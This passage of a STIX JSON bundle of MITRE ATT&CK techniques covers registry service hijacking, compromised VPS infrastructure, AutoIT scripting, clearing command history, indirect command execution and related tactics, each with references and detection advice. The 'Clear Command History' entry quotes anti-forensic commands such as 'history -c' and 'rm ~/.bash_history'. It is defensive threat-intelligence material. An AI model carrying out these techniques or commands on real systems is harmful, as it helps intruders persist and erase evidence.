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            "name": "Service Registry Permissions Weakness",
            "description": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)",
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            "created": "2020-10-01T00:55:17.771Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/003",
                    "external_id": "T1584.003"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "NSA NCSC Turla OilRig",
                    "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.",
                    "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:19:04.087Z",
            "name": "Virtual Private Server",
            "description": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content",
                "Internet Scan: Response Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5",
            "created": "2024-03-29T18:07:04.743Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/010",
                    "external_id": "T1059.010"
                },
                {
                    "source_name": "AutoHotKey",
                    "description": "AutoHotkey Foundation LLC. (n.d.). Using the Program. Retrieved March 29, 2024.",
                    "url": "https://www.autohotkey.com/docs/v1/Program.htm"
                },
                {
                    "source_name": "AutoIT",
                    "description": "AutoIT. (n.d.). Running Scripts. Retrieved March 29, 2024.",
                    "url": "https://www.autoitscript.com/autoit3/docs/intro/running.htm"
                },
                {
                    "source_name": "Splunk DarkGate",
                    "description": "Splunk Threat Research Team. (2024, January 17). Enter The Gates: An Analysis of the DarkGate AutoIt Loader. Retrieved March 29, 2024.",
                    "url": "https://www.splunk.com/en_us/blog/security/enter-the-gates-an-analysis-of-the-darkgate-autoit-loader.html"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:23.600Z",
            "name": "AutoHotKey & AutoIT",
            "description": "Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey)\n\nAdversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566) payloads.(Citation: Splunk DarkGate)\n\nThese scripts may also be compiled into self-contained executable payloads (`.exe`).(Citation: AutoIT)(Citation: AutoHotKey)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "TruKno",
                "Liran Ravich, CardinalOps",
                "Serhii Melnyk, Trustwave SpiderLabs",
                "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International",
                "@_montysecurity"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8",
            "created": "2020-10-19T19:03:48.310Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1600/001",
                    "external_id": "T1600.001"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T14:46:24.048Z",
            "name": "Reduce Key Space",
            "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a",
            "created": "2020-01-31T12:32:08.228Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/003",
                    "external_id": "T1070.003"
                },
                {
                    "source_name": "Broadcom ESXi Shell Audit",
                    "description": "Broadcom. (2025, February 20). Auditing ESXi Shell logins and commands. Retrieved March 26, 2025.",
                    "url": "https://knowledge.broadcom.com/external/article/321910/auditing-esxi-shell-logins-and-commands.html"
                },
                {
                    "source_name": "Sophos PowerShell command audit",
                    "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.",
                    "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"
                },
                {
                    "source_name": "Microsoft PowerShell Command History",
                    "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "Sophos PowerShell Command History Forensics",
                    "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.",
                    "url": "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:23.774Z",
            "name": "Clear Command History",
            "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.  \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.(Citation: Broadcom ESXi Shell Audit)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vikas Singh, Sophos",
                "Emile Kenning, Sophos",
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the removal/clearing of the <code>~/.bash_history</code> file can be an indicator of suspicious activity.\n\nMonitor for suspicious modifications or deletion of <code>ConsoleHost_history.txt</code> and use of the <code>Clear-History</code> command.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Deletion",
                "File: File Modification",
                "Command: Command Execution",
                "User Account: User Account Authentication"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1202",
                    "external_id": "T1202"
                },
                {
                    "source_name": "Bleeping Computer - Scriptrunner.exe",
                    "description": "Bill Toulas. (2023, January 4). Hackers abuse Windows error reporting tool to deploy malware. Retrieved July 8, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-abuse-windows-error-reporting-tool-to-deploy-malware/"
                },
                {
                    "source_name": "Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot",
                    "description": "Cyble. (2024, December 5). Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot. Retrieved February 4, 2025.",
                    "url": "https://cyble.com/blog/threat-actor-targets-manufacturing-industry-with-malware/"
                },
                {
                    "source_name": "Evi1cg Forfiles Nov 2017",
                    "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved September 12, 2024.",
                    "url": "https://x.com/Evi1cg/status/935027922397573120"
                },
                {
                    "source_name": "RSA Forfiles Aug 2017",
                    "description": "Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.",
                    "url": "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe"
                },
                {
                    "source_name": "Secure Team - Scriptrunner.exe",
                    "description": "Secure Team - Information Assurance. (2023, January 8). Windows Error Reporting Tool Abused to Load Malware. Retrieved July 8, 2024.",
                    "url": "https://secureteam.co.uk/2023/01/08/windows-error-reporting-tool-abused-to-load-malware/"
                },
                {
                    "source_name": "SS64",
                    "description": "SS64. (n.d.). ScriptRunner.exe. Retrieved July 8, 2024.",
                    "url": "https://ss64.com/nt/scriptrunner.html"
                },
                {
                    "source_name": "VectorSec ForFiles Aug 2017",
                    "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved September 12, 2024.",
                    "url": "https://x.com/vector_sec/status/896049052642533376"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:23.859Z",
            "name": "Indirect Command Execution",
            "description": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (`pcalua.exe`), components of the Windows Subsystem for Linux (WSL), `Scriptrunner.exe`, as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts.(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citation: SS64)(Citation: Bleeping Computer - Scriptrunner.exe) Adversaries may also abuse the `ssh.exe` binary to execute malicious commands via the `ProxyCommand` and `LocalCommand` options, which can be invoked via the `-o` flag or by modifying the SSH config file.(Citation: Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward",
                "Liran Ravich, CardinalOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
            "created": "2017-05-31T21:30:31.197Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1024",
                    "external_id": "T1024"
                },
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf"
                },
                {
                    "source_name": "Fidelis DarkComet",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-25T15:15:24.943Z",
            "name": "Custom Cryptographic Protocol",
            "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)",
            "kill_chain_phases": [
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                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c",
            "created": "2019-09-04T14:37:07.959Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1536",
                    "external_id": "T1536"
                },
                {
                    "source_name": "Tech Republic - Restore AWS Snapshots",
                    "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.",
                    "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/"
                },
                {
                    "source_name": "Google - Restore Cloud Snapshot",
                    "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.",
                    "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:25.095Z",
            "name": "Revert Cloud Instance",
            "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Netskope"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_version": "1.3"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
            "created": "2017-05-31T21:31:08.977Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1091",
                    "external_id": "T1091"
                },
                {
                    "source_name": "Windows Malware Infecting Android",
                    "description": "Lucian Constantin. (2014, January 23). Windows malware tries to infect Android devices connected to PCs. Retrieved May 25, 2022.",
                    "url": "https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html"
                },
                {
                    "source_name": "iPhone Charging Cable Hack",
                    "description": "Zack Whittaker. (2019, August 12). This hacker\u2019s iPhone charging cable can hijack your computer. Retrieved May 25, 2022.",
                    "url": "https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/"
                },
                {
                    "source_name": "Exploiting Smartphone USB ",
                    "description": "Zhaohui Wang & Angelos Stavrou. (n.d.). Exploiting Smart-Phone USB Connectivity For Fun And Profit. Retrieved May 25, 2022.",
                    "url": "https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf"
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            ],
            "modified": "2025-04-15T19:58:24.231Z",
            "name": "Replication Through Removable Media",
            "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Joas Antonio dos Santos, @C0d3Cr4zy"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "File: File Access",
                "Process: Process Creation",
                "Drive: Drive Creation",
                "File: File Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "created": "2017-05-31T21:30:20.537Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1005",
                    "external_id": "T1005"
                },
                {
                    "source_name": "show_run_config_cmd_cisco",
                    "description": "Cisco. (2022, August 16). show running-config - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_protocols_through_showmon.html#wp2760878733"
                },
                {
                    "source_name": "Mandiant APT41 Global Intrusion ",
                    "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.",
                    "url": "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:24.318Z",
            "name": "Data from Local System",
            "description": "Adversaries may search local system sources, such as file systems, configuration files, local databases, or virtual machine files, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "William Cain",
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands that view configuration files. ",
            "x_mitre_domains": [
